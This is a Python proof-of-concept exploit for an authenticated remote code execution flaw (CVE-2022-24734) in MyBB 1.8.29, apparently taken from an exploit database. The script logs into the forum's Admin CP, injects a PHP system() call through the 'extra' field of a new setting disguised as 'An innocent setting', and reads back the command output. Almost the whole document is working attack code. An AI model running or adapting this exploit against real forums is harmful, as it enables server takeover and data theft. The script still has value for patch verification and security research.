1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
# Exploit Title: MyBB 1.8.29 - Remote Code Execution (RCE) (Authenticated) # Date: 2022-05-08 # Exploit Author: Altelus # Vendor Homepage: https://mybb.com/ # Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1829 # Version: MyBB 1.8.29 # Tested on: Linux # CVE : CVE-2022-24734 # An RCE can be obtained on MyBB's Admin CP in Configuration -> Add New Setting. # The user must have a rights to add or update setting. This is tested on MyBB 1.8.29. # The vulnerability may have existed as early as 1.4.0 since this # 'php' checking is introduced in 1.4.0 (https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f) import requests import argparse import random import string from base64 import b64decode from bs4 import BeautifulSoup def login(username, password): data = { "username" : username, "password" : password, "do" : "login" } login_txt = r_client.post(host + "/admin/index.php", data=data).text if "The username and password combination you entered is invalid" in login_txt: print("[-] Login failure. Incorrect credentials supplied") exit(0) print("[+] Login successful!") def add_settings(cmd, raw_cmd=""): config_settings_txt = r_client.get(host + "/admin/index.php?module=config-settings&action=add").text if "Access Denied" in config_settings_txt: print("[-] Supplied user doesn't have the rights to add a setting") exit(0) print("[*] Adding a malicious settings...") soup = BeautifulSoup(config_settings_txt, "lxml") my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value'] rand_string = get_rand_string() if raw_cmd != "": extra = "\" . system('{}') .\"".format(raw_cmd) else: extra = "\" . system('{} | base64 -w 0') .\"".format(cmd) data = { "my_post_key" : my_post_key, "title" : "An innocent setting", "description" : "An innocent description", "gid" : 1, "disporder" : "", "name" : rand_string, "type" : "\tphp", "extra" : extra, "value" : "An innocent value" } post_setting = r_client.post(host + "/admin/index.php?module=config-settings&action=add",data=data,allow_redirects=False) if post_setting.status_code != 302: soup = BeautifulSoup(post_setting.text, "lxml") error_txt = soup.find_all("div", {"class" : "error"})[0].text print("[-] Exploit didn't work. Reason: '{}'".format(error_txt)) exit(0) print("[+] Malicious post settings accepted!") return rand_string def get_rand_string(length=20): return ''.join(random.choice(string.ascii_letters) for i in range(length)) def get_cmd_result(ident_string, raw_cmd=""): conf_settings_list = r_client.get(host + "/admin/index.php?module=config-settings&action=change").text soup = BeautifulSoup(conf_settings_list, "lxml") row_setting = soup.find_all("tr", {"id" : "row_setting_{}".format(ident_string)})[0] cmd_result = row_setting.find_all("div", {"class" : "form_row"})[0].text if raw_cmd == "": cmd_result = b64decode(cmd_result[2:]).decode() print("[+] Result: {}".format(str(cmd_result))) parser = argparse.ArgumentParser() parser.add_argument('--username', required=True, help="MyBB Admin CP username") parser.add_argument('--password', required=True, help="MyBB Admin CP password") parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000") parser.add_argument('--cmd', required=False, help="Command to run") parser.add_argument('--raw_cmd', required=False, help="Command to run directly into system()") args = parser.parse_args() username = args.username password = args.password host = args.host cmd = "id" if args.cmd == None else args.cmd raw_cmd = "" if args.raw_cmd == None else args.raw_cmd r_client = requests.Session() login(username, password) ident_string = add_settings(cmd, raw_cmd=raw_cmd) get_cmd_result(ident_string, raw_cmd=raw_cmd) |